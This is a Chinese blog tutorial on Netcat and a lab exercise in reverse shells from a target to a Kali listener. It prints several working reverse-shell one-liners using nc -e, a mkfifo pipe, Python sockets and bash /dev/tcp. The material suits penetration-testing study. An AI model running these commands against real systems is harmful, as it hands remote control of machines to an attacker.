提权(2), Netcat反弹shell

一, 简介

Netcat(nc)是一款网络工具,也被称为“瑞士军刀”,可以读写TCP或UDP网络连接,透过使用TCP或UDP协议的网络连接去读写数据.

它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,它能够建立你需要的几乎所有类型的网络连接Netcat可以用于端口探测、传输文本信息、传输文件/目录、远程电子取证信息收集、远程控制等常用操作

Netcat在Linux环境下常常是自带的,如果你使用的Linux发行版本没有这个工具也可以自行安装,比如在CentOS上的安装命令就是 yum install nc -y

二, 反弹shell实验

环境:

攻击端: 192.168.112.1, kali
目标端: 192.168.112.202

由攻击者监听, 从目标端反弹shell给攻击端.

nc反弹shell

攻击端监听 5555 端口:

nc -lvp 5555

目标端反弹shell:

方式1:

这行命令的作用是使用 Netcat(nc)工具在指定的 IP 地址和端口号上创建一个反向 shell。
具体来说,它将标准输入和标准输出重定向到指定的 TCP连接上,使得远程主机可以通过该连接执行命令并获取输出, 由nc执行bash, 回显给攻击端, 攻击端不显示提示符.

nc -e /bin/bash 192.168.112.1 5555

如果不能使用 -e 参数, 使用下面的代替:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.112.1 5555 >/tmp/f

如果要显示带提示符的交互式终端, 可以继续使用python创建虚拟终端:

python -c 'import pty;pty.spawn("/bin/bash")'

或者

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.112.1", 5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
方式2:

这行命令是一个反向 shell 的命令,它将一个 bash shell 连接到指定的 IP 地址和端口号上。
具体来说,它将标准输入和标准输出重定向到一个 TCP连接上,使得远程主机可以通过该连接执行命令并获取输出, 这种方式执行后, 攻击端会显示提示符.

bash -i >& /dev/tcp/192.168.112.1/5555 0>&1
其他方式

还可以使用 telnet, awk, python, php, java等都可以反弹shell.
加密的反弹shell可以使用openssl和mkfifo加密通道.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值